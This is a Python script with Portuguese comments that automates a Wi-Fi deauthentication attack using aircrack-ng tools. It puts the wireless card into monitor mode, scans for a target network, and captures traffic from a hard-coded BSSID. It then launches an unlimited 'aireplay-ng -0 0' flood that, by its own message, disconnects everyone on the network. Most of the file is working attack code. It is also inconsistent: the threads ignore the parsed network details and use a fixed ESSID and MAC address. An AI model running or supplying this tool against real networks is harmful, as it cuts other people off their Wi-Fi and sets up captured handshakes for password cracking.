#!/usr/bin/env python
try:
    import os
    import sys
    import subprocess
    import time
    import threading
    import pandas as pd
except:
    sys.exit("Instale alguma das dependencias citadas. 'os', 'sys', 'subprocess', 'time' ou 'pandas'")

if len(sys.argv)!=3:
    sys.exit("[!] De pelo menos 2 argumentos. Exemplo : python air.py INTERFACE NOMEWIFI")

interface = sys.argv[1]
nomewifi = sys.argv[2]

class WifiDumper(threading.Thread):
    def __init__(self):
        self.stdout = None
        self.stderr = None
        threading.Thread.__init__(self)
    def run(self):
        command = "airodump-ng wlan0mon --essid motox4 --write wifi --output-format csv"
        p1 = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        self.stdout, self.stderr = p1.communicate()

class getBeacon(threading.Thread):
    def __init__(self):
        self.stdout = None
        self.stderr = None
        threading.Thread.__init__(self)
    def run(self):
        command = "airodump-ng --bssid DC:BF:E9:C2:19:11 --channel 1 --write teste wlan0mon"
        p1 = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        self.stdout, self.stderr = p1.communicate()

class Deauth(threading.Thread):
    def __init__(self):
        self.stdout = None
        self.stderr = None
        threading.Thread.__init__(self)
    def run(self):
        command = "aireplay-ng -0 0 -a DC:BF:E9:C2:19:11 wlan0mon"
        p1 = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        self.stdout, self.stderr = p1.communicate()

def airodump(interface,wifi):
    #Gera comando para verificar os wifi pertos
    command = "airodump-ng "+interface+" --essid "+wifi+" --write "+wifi+" --output-format csv"
    #Joga o output do terminal numa variavel
    p1 = subprocess.Popen(command)
    p1.terminate()

def monitormode(inter):
    try:
        #Mata todos os processos utilizando a placa de rede
        os.system("airmon-ng check kill")
        #Seta a variavel comando para iniciar a placa em modo de monitoramento
        command = "airmon-ng start "+inter
        os.system(command)
        #Apos setar em modo de monitoramento, o nome da interface muda e adiciona o mon no final
        inter = inter+"mon"
        return inter
    except:
        sys.exit("[!] Um erro ocorreu ao colocar sua placa de rede em modo de monitoracao")

def main():
    inter = monitormode(interface)
    #airodump(interface,nomewifi)
    dump = WifiDumper()
    dump.start()
    dump.join(10)
    print ("Placa de rede em monitoracao, conseguiu bssid da rede e channel")
    

main()
columns = ['BSSID','channel', 'ESSID']
df = pd.read_csv('wifi-01.csv',skipinitialspace=True, usecols=columns)
#df = pd.read_csv('wifi-01.csv')
bssid = df['BSSID'].values[0]
channel = df['channel'].values[0]
name = df['ESSID'].values[0]
print(bssid+" "+channel+" "+name)
beacon = getBeacon()
auth = Deauth()
beacon.start()
auth.start()
print("Pronto para inicio da deauth")
print("Desautenticando todo mundo na rede "+name)





#sys.exit(os.system("rm -r wifi-01.csv"))